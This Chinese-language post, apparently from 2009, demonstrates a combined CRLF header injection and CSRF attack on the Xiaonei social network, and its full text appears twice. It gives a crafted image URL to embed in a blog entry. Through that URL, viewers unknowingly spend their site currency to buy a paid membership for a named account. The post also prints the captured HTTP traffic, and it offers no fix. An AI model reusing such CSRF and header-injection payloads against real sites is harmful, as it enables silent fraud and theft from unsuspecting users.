利用CRLF漏洞和CSRF漏洞同时进行web攻击
XSS 和 CSRF,其难以难以检测的特点加上和其他攻击手段的结合,给web安全防护笼罩上一层阴影。XSS 和 CSRF攻击越来越流行,也使得其他较弱的传统攻击手段浴火重生。
例子:利用CRLF和CSRF漏洞,在校内的日志中嵌入代码,利用看到页面的同学的校内豆给自己购买紫豆会员服务。(以下部分地方编码做过修改,不能直接利用。)
备注:只利用CSRF就可以完成本次利用,加入CRLF时为了说明旧漏洞在新攻击方法下的死灰复燃。
名词解释:
CRLF -- Carriage-Return Line-Feed 回车换行
HTTP Header CRLF Injection -- HTTP使用CRLF来表示每一行的结束,用户通过CRLF注入自定义HTTP header,导致用户可以不经过应用层直接与Server对话。(HTTP header的定义就是基于这样的"Key: Value"的结构,用CRLF命令表示一行的结尾。)
CSRF --(Cross-site request forgery跨站请求伪造,也被称成为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。
漏洞:
1、http://blog.xiaonei.com/NewEntry.do日志编写时,对插入图片中对输入过滤不全,可以插入非图片地址
2、http://i.xiaonei.com/click.action后面的url参数存在CRLF漏洞
3、http://i.xiaonei.com/pay_checkXnb.action默认接受post提交的参数,但是经过测试,对get请求也来这不拒。
利用方法:
编写一篇新日志,内容中插入图片,地址填写
http://i.xiaonei.com/click.action?from=40042&url=%0alocation%3Ahttp://i.xiaonei.com//pay_checkXnb.action?months=1&payforfriend=true&fid=52434238
备注:还可以通过巧妙的构造手段,将网页重新定向导其他站点的页面。
效果:
日志访问者会自动使用自己的校内豆为id为52434238的用户购买紫豆服务。
原理:
访问者看到日志时,浏览器解析图片时会去请求http://i.xiaonei.com/click.action?from=40042&url=%0alocation%3Ahttp://i.xiaonei.com//pay_checkXnb.action?months=1&payforfriend=true&fid=52434238地址,这个地址中被插入HTTP协议字段location,将页面重新定向到紫豆支付页面,从而实现不知情的情况下为别人买单的效果。
查看日志时候抓包结果:
GET /click.action?from=40042&url=%0alocation%3Ahttp://i.xiaonei.com//pay_checkXnb.action?months=1&payforfriend=true&fid=52434238 HTTP/1.1
Host: i.xiaonei.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://blog.xiaonei.com/GetEntry.do?id=382901732&owner=52434238
Cookie: ************
HTTP/1.1 302 Found
Server: nginx/0.6.32
Date: Tue, 28 Apr 2009 10:20:06 GMT
Connection: keep-alive
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: http://i.xiaonei.com
location: http://i.xiaonei.com//pay_checkXnb.action?months=1&payforfriend=true&fid=52434238
Set-Cookie: vip=1; domain=.xiaonei.com; path=/
Set-Cookie: *****
Content-Length: 118
The URL has moved here
GET //pay_checkXnb.action?months=1&payforfriend=true&fid=52434238 HTTP/1.1
Host: i.xiaonei.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://blog.xiaonei.com/GetEntry.do?id=382901732&owner=52434238
Cookie: *******
HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Tue, 28 Apr 2009 10:20:06 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: vip=1; domain=.xiaonei.com; path=/
Content-Encoding: gzip
a
..........
3a
.V*J-..)Q.JK.)N.Q...+.(V.2.Q*H.L./J+.L.KA.O..J........;...
0
修补方式:
未提供。
例子:利用CRLF和CSRF漏洞,在校内的日志中嵌入代码,利用看到页面的同学的校内豆给自己购买紫豆会员服务。(以下部分地方编码做过修改,不能直接利用。)
备注:只利用CSRF就可以完成本次利用,加入CRLF时为了说明旧漏洞在新攻击方法下的死灰复燃。
名词解释:
CRLF -- Carriage-Return Line-Feed 回车换行
HTTP Header CRLF Injection -- HTTP使用CRLF来表示每一行的结束,用户通过CRLF注入自定义HTTP header,导致用户可以不经过应用层直接与Server对话。(HTTP header的定义就是基于这样的"Key: Value"的结构,用CRLF命令表示一行的结尾。)
CSRF --(Cross-site request forgery跨站请求伪造,也被称成为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。
漏洞:
1、http://blog.xiaonei.com/NewEntry.do日志编写时,对插入图片中对输入过滤不全,可以插入非图片地址
2、http://i.xiaonei.com/click.action后面的url参数存在CRLF漏洞
3、http://i.xiaonei.com/pay_checkXnb.action默认接受post提交的参数,但是经过测试,对get请求也来这不拒。
利用方法:
编写一篇新日志,内容中插入图片,地址填写
http://i.xiaonei.com/click.action?from=40042&url=%0alocation%3Ahttp://i.xiaonei.com//pay_checkXnb.action?months=1&payforfriend=true&fid=52434238
备注:还可以通过巧妙的构造手段,将网页重新定向导其他站点的页面。
效果:
日志访问者会自动使用自己的校内豆为id为52434238的用户购买紫豆服务。
原理:
访问者看到日志时,浏览器解析图片时会去请求http://i.xiaonei.com/click.action?from=40042&url=%0alocation%3Ahttp://i.xiaonei.com//pay_checkXnb.action?months=1&payforfriend=true&fid=52434238地址,这个地址中被插入HTTP协议字段location,将页面重新定向到紫豆支付页面,从而实现不知情的情况下为别人买单的效果。
查看日志时候抓包结果:
GET /click.action?from=40042&url=%0alocation%3Ahttp://i.xiaonei.com//pay_checkXnb.action?months=1&payforfriend=true&fid=52434238 HTTP/1.1
Host: i.xiaonei.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://blog.xiaonei.com/GetEntry.do?id=382901732&owner=52434238
Cookie: ************
HTTP/1.1 302 Found
Server: nginx/0.6.32
Date: Tue, 28 Apr 2009 10:20:06 GMT
Connection: keep-alive
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: http://i.xiaonei.com
location: http://i.xiaonei.com//pay_checkXnb.action?months=1&payforfriend=true&fid=52434238
Set-Cookie: vip=1; domain=.xiaonei.com; path=/
Set-Cookie: *****
Content-Length: 118
The URL has moved here
GET //pay_checkXnb.action?months=1&payforfriend=true&fid=52434238 HTTP/1.1
Host: i.xiaonei.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://blog.xiaonei.com/GetEntry.do?id=382901732&owner=52434238
Cookie: *******
HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Tue, 28 Apr 2009 10:20:06 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: vip=1; domain=.xiaonei.com; path=/
Content-Encoding: gzip
a
..........
3a
.V*J-..)Q.JK.)N.Q...+.(V.2.Q*H.L./J+.L.KA.O..J........;...
0
修补方式:
未提供。
anonymous
Powered by
Add a reaction